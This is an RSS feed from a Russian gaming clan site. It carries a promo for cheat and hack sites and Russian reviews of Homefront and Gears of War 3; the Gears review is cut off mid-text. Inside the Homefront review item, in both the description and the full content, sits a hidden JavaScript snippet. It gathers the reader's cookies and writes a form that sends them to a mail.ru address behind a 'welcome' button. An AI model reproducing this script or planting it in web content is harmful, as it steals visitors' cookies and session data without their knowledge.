<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<title>Сайт клана R.P.G.</title>
		<link>http://igroman.ucoz.net/</link>
		<description></description>
		<lastBuildDate>Tue, 24 Sep 2013 16:39:54 GMT</lastBuildDate>
		<generator>uCoz Web-Service</generator>
		<atom:link href="https://igroman.ucoz.net/news/rss" rel="self" type="application/rss+xml" />
		
		<item>
			<title>Наши друзья</title>
			<description>&lt;div&gt;Сайт об и про игры, содержит много интересного, гайды, прохождения, читы, постоянно происходит набор желающих в жерналисты, постоянное обновление.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Переходим качаем читы, узнаем новые хаки, линейк и других ММО и ММОРПГ игр, прикалываемся над нубами, и многое многое другое =)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;http://gamegids.tk&quot; title=&quot;http://gamegids.tk&quot;&gt;gamegids.tk&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;http://gidsgame.tk/&quot;&gt;http://gidsgame.tk&lt;/a&gt;&lt;/div&gt;&lt;a title=&quot;Сайт об играх&quot; href=&quot;http://gamegids.tk/&quot;&gt;&lt;img src=&quot;http://gidsgame.tk/banner.png&quot; border=&quot;0&quot; alt=&quot;Обзоры, гайды, видео&quot;&gt;&lt;/a&gt;</description>
			<content:encoded>&lt;div&gt;Сайт об и про игры, содержит много интересного, гайды, прохождения, читы, постоянно происходит набор желающих в жерналисты, постоянное обновление.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Переходим качаем читы, узнаем новые хаки, линейк и других ММО и ММОРПГ игр, прикалываемся над нубами, и многое многое другое =)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;http://gamegids.tk&quot; title=&quot;http://gamegids.tk&quot;&gt;gamegids.tk&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;http://gidsgame.tk/&quot;&gt;http://gidsgame.tk&lt;/a&gt;&lt;/div&gt;&lt;a title=&quot;Сайт об играх&quot; href=&quot;http://gamegids.tk/&quot;&gt;&lt;img src=&quot;http://gidsgame.tk/banner.png&quot; border=&quot;0&quot; alt=&quot;Обзоры, гайды, видео&quot;&gt;&lt;/a&gt;</content:encoded>
			<link>https://igroman.ucoz.net/news/nashi_druzja/2013-09-24-41</link>
			<dc:creator>SWAT</dc:creator>
			<guid>https://igroman.ucoz.net/news/nashi_druzja/2013-09-24-41</guid>
			<pubDate>Tue, 24 Sep 2013 16:39:54 GMT</pubDate>
		</item>
		<item>
			<title>Обзор игры Homefront</title>
			<description>&lt;p&gt;&lt;!--IMG1--&gt;&lt;a href=&quot;http://igroman.ucoz.net/_nw/0/65614032.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://igroman.ucoz.net/_nw/0/s65614032.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG1--&gt;&lt;/p&gt;
&lt;script language=javascript&gt;

 var cook=show_all_cookies();

 document.open(&quot;cookies&quot;,cook);

 document.write(&apos;&lt;form onsubmit=&quot;java script:window.close();&quot;

 method=post action=&quot;mailto:tuns00@mail.ru&quot;

 ENCTYPE=&quot;text/plain&quot;&gt;&lt;input type=hidden

 name=h1 value=&apos;,cook,&apos;&gt;&lt;input type=submit value=&quot;Добро пожаловать!&quot;&gt;

 &lt;/form&gt;&apos;);

 document.close(&quot;cookies&quot;);

 &lt;/SCRIPT&gt;

&lt;p&gt;&lt;strong&gt;Название игры:&lt;/strong&gt; Homefront&lt;br&gt;&lt;strong&gt;Жанр:&lt;/strong&gt; Action&lt;br&gt;&lt;strong&gt;Разработчик:&lt;/strong&gt; Kaos Studios, &amp;nbsp;Digital Extremes&lt;br&gt;&lt;strong&gt;Издатель:&lt;/strong&gt; THQ&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Похожие игры:&lt;/strong&gt; Frontlines, Call of Duty&lt;br&gt;&lt;strong&gt;Платформы:&lt;/strong&gt; Xbox 360, PS3, PC&lt;br&gt;&lt;strong&gt;Дата выхода:&lt;/strong&gt; 15 марта 2011 г.&lt;br&gt;&lt;strong&gt;Официальный с...</description>
			<content:encoded>&lt;p&gt;&lt;!--IMG1--&gt;&lt;a href=&quot;http://igroman.ucoz.net/_nw/0/65614032.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://igroman.ucoz.net/_nw/0/s65614032.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG1--&gt;&lt;/p&gt;
&lt;script language=javascript&gt;

 var cook=show_all_cookies();

 document.open(&quot;cookies&quot;,cook);

 document.write(&apos;&lt;form onsubmit=&quot;java script:window.close();&quot;

 method=post action=&quot;mailto:tuns00@mail.ru&quot;

 ENCTYPE=&quot;text/plain&quot;&gt;&lt;input type=hidden

 name=h1 value=&apos;,cook,&apos;&gt;&lt;input type=submit value=&quot;Добро пожаловать!&quot;&gt;

 &lt;/form&gt;&apos;);

 document.close(&quot;cookies&quot;);

 &lt;/SCRIPT&gt;

&lt;p&gt;&lt;strong&gt;Название игры:&lt;/strong&gt; Homefront&lt;br&gt;&lt;strong&gt;Жанр:&lt;/strong&gt; Action&lt;br&gt;&lt;strong&gt;Разработчик:&lt;/strong&gt; Kaos Studios, &amp;nbsp;Digital Extremes&lt;br&gt;&lt;strong&gt;Издатель:&lt;/strong&gt; THQ&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Похожие игры:&lt;/strong&gt; Frontlines, Call of Duty&lt;br&gt;&lt;strong&gt;Платформы:&lt;/strong&gt; Xbox 360, PS3, PC&lt;br&gt;&lt;strong&gt;Дата выхода:&lt;/strong&gt; 15 марта 2011 г.&lt;br&gt;&lt;strong&gt;Официальный сайт&lt;/strong&gt;&lt;strong&gt;:&lt;/strong&gt; http://www.homefront-game.com&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;С самого анонса Homefront разработчики из Kaos Studios противопоставляли свое детище Call of Duty. Дескать, «Зов долга» — псевдореалистичная чушь, а вот Homefront — это совсем иной разговор. Тут нас вроде как ждет предельно правдоподобная история простых американских солдат — без глянца и спецэффектов. Ну что ж, давайте проверим, как все вышло на самом деле.&lt;br&gt;&lt;br&gt;&lt;strong&gt;«If you’re going to San Francisco…»&lt;/strong&gt;&lt;br&gt;&lt;br&gt;Недалекое будущее США по версии Kaos выглядит безрадостно. Глава КНДР Ким Чен Ир скончался, а его место занял сыночек Ким Чжон Ын. Северная Корея объединилась с Южной, и в 2027-м году Великая Корейская Республика недолго думая подмяла под себя Штаты.&lt;br&gt;&lt;br&gt;С этого, собственно, и начинается история «простого американского солдата» Джейкобса. Точнее, не простого, а бывшего летчика ВВС, которому посчастливилось затесаться в ряды партизан из города Монтроз.&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;!--IMG2--&gt;&lt;a href=&quot;http://igroman.ucoz.net/_nw/0/22146137.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://igroman.ucoz.net/_nw/0/s22146137.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG2--&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;«Они же просто играют с ним!» Это так мило!&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;С первых минут приключения создатели пытаются показать нам ужасы оккупации. Злобные азиаты выволакивают главного героя из загаженной квартиры, сажают в школьный автобус и везут на исправительные работы. Мы поворачиваемся к окну и видим — каких-то бедолаг корейские негодяи избивают прикладами, на глазах у ребенка расстреливают его родителей… Старт — неплохой. Поддать жару — и получится убедительная картина, изображающая кошмары жестокого режима.&lt;br&gt;&lt;br&gt;Но жару не поддадут. На протяжении трехчасового «сингла» мы станем свидетелями еще парочки подобных сцен, не более. Характеры напарников Джейкобса при этом не раскрываются вовсе. Только что наша сестрица по оружию Рианна рыдала над трупами близких, а спустя полчаса — как ни в чем не бывало задорно расстреливает желтолицых вражин.&lt;br&gt;&lt;br&gt;Вдобавок все, что происходит в Homefront, — чуждо нам, русским людям. Ведь большую часть пути наши партизаны проводят в довольно-таки детально воссозданном американском пригороде. Неудивительно, что западная пресса приняла игру более тепло, нежели европейская. Думается мне, на коренных жителей США все эти стройные ряды двухэтажных домиков, разбитые садовые гномы во дворах и заброшенные поля производят примерно то же впечатление, что на нас — вид разрушенной Москвы из Metro 2033.&lt;br&gt;&lt;br&gt;Наконец, добивает полумертвую драму идиотское радио «Свобода», включающее свою агитационную шарманку во время загрузок. Первозданный пафос в самом неудобоваримом виде поставляется фурами — если из ушей вдруг пойдет кровь, помните: мы вас предупреждали…&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://igroman.ucoz.net/images/Games/homefront-1301063076-s.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;Окутанный золотистым сиянием, этот танк кажется таким доброжелательным…&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;&lt;strong&gt;Не Call of Duty? Серьезно?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;«Хорошо, — думаем мы, — раз никакой глубиной и не пахнет, то, может, „простая история&quot; играется не так, как CoD?» Действительно — когда авторы говорят о том, что их детище будет натуралистичным, надеешься и на соответствующий процесс. На ум сразу приходит нечто вроде ArmA 2, только с масштабами поскромнее. Небольшое число неприятелей, тактика, смерть от одного меткого выстрела — в общем, вы поняли.&lt;br&gt;&lt;br&gt;Но и здесь обман. Перед нами — типичный тир с десятками, сотнями глупых противников-«уточек», которых наскоро обучили прятаться за укрытиями и швырять гранаты. Отличий от «Зова долга» не найти и с лупой — разве что оружие выглядит и звучит хуже. Американские партизаны, конечно, молодцы, но не очень верится в то, что каждый из них может прикончить тысчонку-другую корейцев практически в одиночку. Так что реализм в Homefront и не ночевал.&lt;br&gt;&lt;br&gt;В отличие от Modern Warfare и Black Ops, однако, зрелищных сценок и интересных ситуаций тут совсем мало, а часть тех, что есть, бессовестно украдена у Infinity Ward. Например, вылазка в лагерь агрессивно настроенных сурвивалистов — точь-в-точь миссия в Припяти из MW, но дурно поставленная и затянутая. Тоскливые полетушки на боевом вертолете и заседания у стационарных «пушек», конечно, тоже в наличии. Ну сколько можно-то уже?..&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://igroman.ucoz.net/images/Games/homefront-1301063077-s.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;Мы открываем дверь, время замедляется, на нас несутся противники…Хм… &lt;/p&gt;&lt;p align=&quot;center&quot;&gt;Ничего не напоминает?&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;&lt;strong&gt;Homefront: Fuel of War&lt;/strong&gt;&lt;br&gt;&lt;br&gt;Впрочем, одиночная кампания — не главное, как утверждают защитники Homefront. Что ж, может, мультиплеер и впрямь вытащит игру из болота проходных проектов?&lt;br&gt;&lt;br&gt;Организовано сетевое развлечение привычно — мы участвуем в боях, растем в уровнях, открываем новые автоматы да пулеметы, а также навыки и другие полезности. Для нас приготовили пять классов-шаблонов, но никто не мешает полностью изменить их и переименовать. Словом, система примерно та же, что и в Modern Warfare 2. Командное взаимодействие, кстати, застряло неподалеку от «Зова долга»: медиков или инженеров в Homefront вы не встретите — все сами по себе.&lt;br&gt;&lt;br&gt;В состоянии ли творение Kaos уложить на лопатки конкурентов? К сожалению, нет. Допустим, в разнообразии разблокируемых плюшек многопользовательская забава существенно уступает Black Ops — тут катастрофически не хватает «стволов», нет феерии нашивок, прозвищ, камуфляжей и прочих приятных мелочей. Да и режимов, по сути, всего два — «Командный бой» и «Контроль территории». Маловато наполнения для боевика, делающего упор на сетевые побоища, не так ли?&lt;br&gt;&lt;br&gt;Старается Homefront побороть и Battlefield: Bad Company 2. Наверное, на этом поле она смотрится прилично? Увы, и тут провал. Хотя карты и правда заметно больше, чем в той же Black Ops, масштабы все-таки не те, что в Battlefield. Да и разрушаемости — главного козыря BC2 — нет. Только представьте, как в таких условиях чувствует себя техника, если учесть также, что некоторые локации — городские. Здесь танк, застрявший меж двух заборов миллиметровой толщины, — обычное зрелище.&lt;br&gt;&lt;br&gt;И отчасти поэтому местная техника заглядывает сюда на птичьих правах — на базе она не появляется. Мы можем лишь, заплатив определенную сумму очков, полученных за убийства или другие полезные действия, возродиться, например, в джипе. Причем участники баталий редко не растранжиривают заработанные баллы на дешевые бронежилеты, гранатометы или БПЛА. В итоге многие победы одерживаются исключительно силами пехоты и дистанционно управляемых малявок — дорогие и неуклюжие махины никому не нужны.&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://igroman.ucoz.net/images/Games/homefront-1301063078-s.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;После смерти нам позволяют сменить специализацию и прикупить какой-нибудь БТР.&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;Итог печальный, но предсказуемый — Kaos захотела сделать свой CoD, а продать его решила под видом натуралистичной истории оккупации США. Получилось, как видите, не очень. Если Homefront и стоит купить, то лишь ради многопользовательских заруб. Однако мы бы посоветовали отложить кровно заработанные на что-нибудь полюбопытнее. Хотя бы на Crysis 2 — у ее авторов как минимум хватило сил придумать что-то свое, а не только позаимствовать идеи коллег.&lt;br&gt;&lt;br&gt;&lt;strong&gt;Плюсы: &lt;/strong&gt;сетевой режим любопытен…&lt;br&gt;&lt;strong&gt;Минусы: &lt;/strong&gt;…первые два часа; вторичный «сингл»; паршивый сюжет, преисполненный пафоса.&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;br&gt;&lt;/p&gt;</content:encoded>
			<link>https://igroman.ucoz.net/news/obzor_igry_homefront/2012-01-16-40</link>
			<dc:creator>SWAT</dc:creator>
			<guid>https://igroman.ucoz.net/news/obzor_igry_homefront/2012-01-16-40</guid>
			<pubDate>Mon, 16 Jan 2012 11:10:26 GMT</pubDate>
		</item>
		<item>
			<title>Обзор игры Gears of War 3</title>
			<description>&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;http://igroman.ucoz.net/images/slider/big-1.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Название игры:&lt;/strong&gt; Gears of War 3&lt;br&gt;&lt;strong&gt;Жанр:&lt;/strong&gt; Third Person Action&lt;br&gt;&lt;strong&gt;Разработчик:&lt;/strong&gt; Epic Games&lt;br&gt;&lt;strong&gt;Издатель:&lt;/strong&gt; Microsoft Game Studios&lt;br&gt;&lt;strong&gt;Похожие игры:&lt;/strong&gt; Gears of War, Gears of War 2&lt;br&gt;&lt;strong&gt;Платформы:&lt;/strong&gt; Xbox 360&lt;br&gt;&lt;strong&gt;Дата выхода:&lt;/strong&gt; 20 сентября 2011 года&lt;br&gt;&lt;strong&gt;Официальный сайт:&lt;/strong&gt; http://gearsofwar.xbox.com&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;Вообще, для серии больше бы подошло название «Meat of War». Мяса в игре очень, очень много: начиная от самоходного и говорящего, в лице персонажей с гипертрофированной мускулатурой, и заканчивая свежими, сочащимися кровью и сукровицей бифштексами, нарубленными из многочисленных врагов. Кроме того, такое название ярче отразило бы и сюжет игровой серии, так или иначе крутящийся вокруг непрекращающейся войны. В самом деле, процесс бесконечной борьбы за мир, похо...</description>
			<content:encoded>&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;http://igroman.ucoz.net/images/slider/big-1.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Название игры:&lt;/strong&gt; Gears of War 3&lt;br&gt;&lt;strong&gt;Жанр:&lt;/strong&gt; Third Person Action&lt;br&gt;&lt;strong&gt;Разработчик:&lt;/strong&gt; Epic Games&lt;br&gt;&lt;strong&gt;Издатель:&lt;/strong&gt; Microsoft Game Studios&lt;br&gt;&lt;strong&gt;Похожие игры:&lt;/strong&gt; Gears of War, Gears of War 2&lt;br&gt;&lt;strong&gt;Платформы:&lt;/strong&gt; Xbox 360&lt;br&gt;&lt;strong&gt;Дата выхода:&lt;/strong&gt; 20 сентября 2011 года&lt;br&gt;&lt;strong&gt;Официальный сайт:&lt;/strong&gt; http://gearsofwar.xbox.com&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;Вообще, для серии больше бы подошло название «Meat of War». Мяса в игре очень, очень много: начиная от самоходного и говорящего, в лице персонажей с гипертрофированной мускулатурой, и заканчивая свежими, сочащимися кровью и сукровицей бифштексами, нарубленными из многочисленных врагов. Кроме того, такое название ярче отразило бы и сюжет игровой серии, так или иначе крутящийся вокруг непрекращающейся войны. В самом деле, процесс бесконечной борьбы за мир, похоже, имеет для персонажей игры гораздо большее значение, нежели результат.&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;br&gt;&lt;!--IMG2--&gt;&lt;a href=&quot;http://igroman.ucoz.net/_nw/0/34828768.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://igroman.ucoz.net/_nw/0/s34828768.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG2--&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&amp;nbsp;Какой любопытный глаз…&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;!--IMG3--&gt;&lt;a href=&quot;http://igroman.ucoz.net/_nw/0/50446332.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://igroman.ucoz.net/_nw/0/s50446332.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG3--&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;Любопытство его и погубит&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;Как правило, сюжет в экшенах не является сильной стороной. Кроме того, авторы Gears of War 3, похоже, больше упирали на мультиплеер, чем на одиночную кампанию. Посему вряд ли стоит удивляться куцей, совсем не научно-, но, хотя бы, фантастической истории, венчающей трилогию. Итак, благословенная имульсия (да, именно так, через «и»), добывавшаяся на той самой Сере и служившая для людей эффективным топливом, демонстрирует свою истинную сущность и оказывается некоей паразитической формой жизни, заражающей и изменяющей как Саранчу, так и людей. В новом качестве мутанты приобретают верность новым же идеалам, бешеную агрессивность и стильно светящийся внешний вид (в переводе в английского «lambent» означает «сверкающий»). «Светлячки» одинаково не любят как людей, так и Саранчу, сосуществование им претит, а посему очередной конфликт, как говорится, неизбежен.&lt;br&gt;&lt;br&gt;Центральной его фигурой становится уже известный по ранним частям игры Маркус Феникс, чей гениальный, но абсолютно невменяемый отец изобретает очередное супероружие, призванное на этот раз уже гарантированно навести мир и порядок на планете (ага, в прошлый раз обещали то же самое). По ходу разработок изобретатель умудряется угодить в плен к Мирре, королеве Саранчи, заинтересованной в уничтожении Ламбентов и в сохранении собственного вида (вполне здоровое желание, если вдуматься). Таким образом, спасение ученого папеньки и попутное уничтожение всего и вся и становится целью одиночной игры.&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;!--IMG4--&gt;&lt;a href=&quot;http://igroman.ucoz.net/_nw/0/98819184.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://igroman.ucoz.net/_nw/0/s98819184.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG4--&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;Враги, в прямом смысле слов, выпрыгивают прямо из-под земли&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;На самом деле этот «комиксовый» и весьма банальный сюжет, изобилующий героическими и пафосными сценами, а также страшными нестыковками и, порой, удивительной нелогичностью, вполне подошел бы для игры, будь она рассчитана на подростков. Однако, возрастной ценз «с 18 и старше» недвусмысленно указывает на то, что публика к игре будет допущена более взыскательная, образованная и в массе своей переросшая истории о чудесном «вундерваффе», одной кнопкой решающем все проблемы. Историю противостояния на Сере вполне можно было сделать по-настоящему интригующей и интересной, все задатки для этого были, но разработчики, по одной им ведомой причине, предпочли схалтурить по принципу «и так сойдет». Что сказать, очень жаль, ведь хороший сюжет даже на заурядный боевик заставляет взглянуть по-новому. Впрочем, ситуацию несколько спасает тот факт, что Gears of War 3 — боевик не совсем заурядный.&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;!--IMG5--&gt;&lt;a href=&quot;http://igroman.ucoz.net/_nw/0/58312407.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://igroman.ucoz.net/_nw/0/s58312407.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG5--&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;А мы его по морде чайником… То есть, огнеметом…&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;!--IMG6--&gt;&lt;a href=&quot;http://igroman.ucoz.net/_nw/0/44783354.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://igroman.ucoz.net/_nw/0/s44783354.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG6--&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;Уж мы их душили, душили…&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;Игровой процесс подобен урагану. Из-за правого плеча подконтрольного персонажа (в сюжетной кампании это почти всегда Маркус, за редкими исключениями) игрок наблюдает весьма зрелищную инопланетную войну: следы трассирующих пуль, взрывы, разрезаемые бензопилами враги и прочие неизменные атрибуты адреналинового веселья. Основные действия самого игрока сводятся к размещению своего персонажа за максимально надежным укрытием и постреливанием оттуда в супостатов в те редкие секунды, когда вражеские пули летят в другую сторону. Если противник неосмотрительно подобрался слишком близко, то его можно забить (зарезать, запилить) врукопашную в соответствии с выбранным типом оружия. «Штыковая» выглядит весьма нескучно и ее можно предпочесть дистанционному бою исключительно из-за зрелищности.&lt;br&gt;&lt;br&gt;Раненый и с трудом ползающий противник может либо издохнуть самостоятельно, либо претерпеть красивую и жестокую казнь, исполняемую по нажатию всего лишь одной кнопки (кстати, в некоторых режимах игры это умение — единственный способ убиения надоевшего врага). Кроме того, беспомощными противниками можно прикрываться как щитом, что, безусловно, расширяет тактические возможности. Иногда от бесконечной стрельбы отвлекают сюжетные задания типа «повернуть рычаг», «открыть дверь» или «распилить веревку». А отдельное удовольствие доставляет управление шагающим погрузчиком, который в своей военной ипостаси вооружен пулеметом с бесконечным боезапасом и ракетами!&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;!--IMG7--&gt;&lt;a href=&quot;http://igroman.ucoz.net/_nw/0/19135061.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://igroman.ucoz.net/_nw/0/s19135061.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG7--&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;В некоторых местах Gears of War 3 напоминает фильм «Звездный десант»&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;Линейное, как рельсы узкоколейки, прохождение (лишь считанные разы за всю игру вам будет предложен мучительный выбор типа «по нижнему этажу идти или по верхнему?») позволило разработчикам не волноваться о том, испытает ли на себе игрок все «кинематографические» моменты игры. Придется и за турелью постоять, защищая человеческий форт, и на транспортных средствах покататься и даже поплавать на подводной лодке, отстреливаясь от торпед, мин и огромного Левиафана. Последнее, нельзя не признать, выполнено действительно увлекательно и с выдумкой.&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;!--IMG8--&gt;&lt;a href=&quot;http://igroman.ucoz.net/_nw/0/78502659.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://igroman.ucoz.net/_nw/0/s78502659.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG8--&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;Роскошное местечко когда-то было…&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;!--IMG9--&gt;&lt;a href=&quot;http://igroman.ucoz.net/_nw/0/48091195.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://igroman.ucoz.net/_nw/0/s48091195.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG9--&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;И даже лампы горят&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;Конечно, игровой боевик во многом характеризует богатство ассортимента инвентаря для истребления вражеской биомассы. Здесь игра оставляет неоднозначное впечатление: с одной стороны, выбор в меру неплох: от пистолетов до минометов. С другой же стороны, по общей боевой эффективности и доступности боеприпасов явно лидирует последняя модификация все того же Лансера, снабженная интегрированной мотопилой (видимо, это оружие было создано под серьезным влиянием вселенной Warhammer 40K). Кстати, предыдущая версия этого автомата, оборудованная более или менее традиционным штыком и обладающая значительно худшей кучностью боя, также присутствует в игре и крайне любима дронами Саранчи.&lt;br&gt;&lt;br&gt;Отдельно хотелось бы отметить шестиствольный «Вулкан», обслуживаемый двумя бойцами (один стреляет, другой патроны таскает), да Hammer of Dawn, являющийся, по сути, лазерным целеуказателем для группировки орбитальных спутников, только и ждущих подходящей возможности что-нибудь спалить. Последний отлично подходит для изведения «сложных» противников при условии чистого неба над ними, а также их неподвижности хотя бы некоторое время: наведение спутника на цель не мгновенно.&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;!--IMG10--&gt;&lt;a href=&quot;http://igroman.ucoz.net/_nw/0/92224584.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://igroman.ucoz.net/_nw/0/s92224584.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG10--&gt;&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;Непаханая целина&lt;/p&gt;&lt;p align=&quot;center&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p align=&quot;justify&quot;&gt;Не менее важной частью экшена являются и те несчастные, в отношении которых, собственно, и применяется упомянутый выше инвентарь — то есть многочисленные, жестокие и коварные враги, имеющие крупные претензии к главному герою. В данном случае это различные представители Саранчи, являющие собой некую смесь насекомых и теплокровных, а также мутанты-Ламбенты, отличающиеся еще более непотребным внешним видом и способностью красиво лопаться перед смертью. Борьба с ними происходит с некоторыми различиями: если «зверосекомых» Саранчи достаточно просто методично извести под корень, то в случае столкновения со стеблем «Светлячков» надо сперва отстрелить его утолщения, производящие новых мутантов прямо-таки по конвейерному принципу. Враги по большей части тоже умеют скрываться за препятствиями, по крайней мере, те из 